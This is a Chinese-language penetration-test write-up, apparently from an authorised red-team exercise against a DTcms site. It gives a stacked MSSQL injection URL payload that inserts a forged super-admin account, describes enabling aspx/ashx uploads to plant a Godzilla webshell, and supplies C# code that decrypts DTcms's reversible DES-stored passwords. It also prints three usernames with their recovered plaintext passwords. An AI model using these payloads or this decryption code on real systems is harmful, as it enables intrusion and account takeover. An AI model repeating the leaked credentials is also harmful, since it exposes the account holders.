記錄一次攻防演練中的代碼審計
在一次授權的攻防項目中,我和我的一個好兄弟在滲透過程中發現一個目標存在mssql注入,通過注入拿到了管理員的賬號和密碼

當時我和我的好兄弟高興壞了,迫不及待的把拿到的數據進行解密(當時天真認為可以解密,馬上getshell)由于是攻防演練,并且報告提交的越早分數就會越高,何況還是getshell
erui/E7B8D79CB1F8267E98411A1081B75FBD admin/154A70BBAD1377B256671E16CAF430ED lchh/262BA2BFC886B171B5488CA6E9F25BB8

結果發現根本解不出,后來發現原來是加鹽MD5,想著先把鹽值找到或許就能有一線突破
最終找到的鹽值和賬號對應如下: erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
當時我和我兄弟在這里卡了半天,甚至是去網上搜索加鹽md5的破解,后面發現根本解不出來
第二天
我和兄弟那一晚上一夜未眠,想著各種法子去解密,網上各種辦法,各種腳本都試了一遍,發現完全不行,突然一下有個念頭一下子出來了,在上一次的攻防演練中,也是mssql注入,當時可以通過堆疊注入,自己插入一條數據,于是我們開始整理思路思路如下
思路一
通過堆疊注入插入一條數據,直接登錄(但是要自己找到一條加鹽Md5)搭建這個cms搭建起來,自己創建一個管理員賬號,然后插入進去
思路二
找到對應的cms或者是網站源碼,代碼審計,試圖找到加密流程或者是其他有用信息
嘗試思路
通過mssql注入的報錯信息可以判斷出為dtcms,于是我迫不及待的去github搜羅了一番,找到了其源碼,首先想到的搭建起來這個cms,由于對net環境的不熟悉,加上搭建后各種報錯,(讓我抑郁了很久)繼續信息收集,發現源代碼下面有個SQL文件,進去搜索找到一條加密的數據,并且前期信息收集到dtcms的默認密碼是admin888于是開始行動
全局搜索salt

INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超級管理員', N'13800138000', N'info@dtcms.net', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))SET IDENTITY_INSERT [dbo].[dt_manager] OFF 插入payload如下: https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);-- + 插入的賬號為test 密碼是admin888
登錄賬號

登錄成功發現,權限為超級管理員,然后getshell(在某篇文章看到)文件上傳類型添加aspx,ashx,然后上傳相應的哥斯拉馬,直連即可

最后我和我兄弟成功將這個站點拿下但是內心感覺還是空空的,先提交報告吧
第三天
我和兄弟越想越不舒服,我們思路二還沒試過呢,如果我們可以解密這個加密數據,是不是以后遇到類似的站點,假如不存在堆疊注入,豈不是不能插入數據,不行,必須得試一下,于是開始代碼審計
.net基本知識
.ashx一般是網頁文件。.cs文件一般是后臺邏輯代碼
目前已有的數據
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
代碼審計
在DTcms.Web中找到login.aspx.cs。通過調用manager類中的GetModel方法來判斷是否登錄成功

ps:這里BLL.manager()中BLL是一個命名空間。我們可以通過BLL這個名字在DTcms.BLL文件夾中找到manager.cs

接著在manager類中的GetModel方法中,發現在登錄的時候會先從數據庫中獲得這個用戶的鹽值,然后根據輸入的密碼與鹽值調用DESEncrypt.Encrypt(password, salt)進行加密。后來知道了這里DESEncrypt是一個類,Encrypt是一個靜態函數,所以可以直接調用

接著我們審計DESEncrypt中的Encrypt方法。在文件夾中搜索DESEncrypt,最終在DTcms.Common中找到了DESEncrypt類。加解密流程邏輯代碼不需要細看,只需要知道就是傳入密文和鹽值調用Decrypt函數即可得到明文。
源碼如下
using System;using System.Security.Cryptography;using System.Text;namespace DTcms.Common{
/// <summary>
/// DES加密/解密類。
/// </summary>
public class DESEncrypt
{
#region ========加密========
/// <summary>
/// 加密
/// </summary>
/// <param name="Text"></param>
/// <returns></returns>
public static string Encrypt(string Text)
{
return Encrypt(Text, "DTcms");
}
/// <summary>
/// 加密數據
/// </summary>
/// <param name="Text"></param>
/// <param name="sKey"></param>
/// <returns></returns>
public static string Encrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
byte[] inputByteArray;
inputByteArray = Encoding.Default.GetBytes(Text);
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
StringBuilder ret = new StringBuilder();
foreach (byte b in ms.ToArray())
{
ret.AppendFormat("{0:X2}", b);
}
return ret.ToString();
}
#endregion
#region ========解密========
/// <summary>
/// 解密
/// </summary>
/// <param name="Text"></param>
/// <returns></returns>
public static string Decrypt(string Text)
{
return Decrypt(Text, "DTcms");
}
/// <summary>
/// 解密數據
/// </summary>
/// <param name="Text"></param>
/// <param name="sKey"></param>
/// <returns></returns>
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
#endregion
}}
接著我們抄下DESEncrypt類中的解密代碼進行解密。注意這里得using System.Web,要引用System.Web.dll這個文件才能運行代碼。代碼段如下:
payload
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Security.Cryptography;using System.Text;using System.Web;namespace ConsoleApp1{
class Program
{
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
static void Main(string[] args)
{
System.Console.WriteLine(Program.Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ"));
System.Console.WriteLine(Program.Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ"));
System.Console.WriteLine(Program.Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84"));
}
}}
最終得到明文

erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419 admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1 lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009
總結
通過這次攻防再一次加深了代碼審計的重要性,有時候就是一個突破點,還有就是和兄弟在審計中遇到的困難,一次次被突破,那種感覺真的很爽!!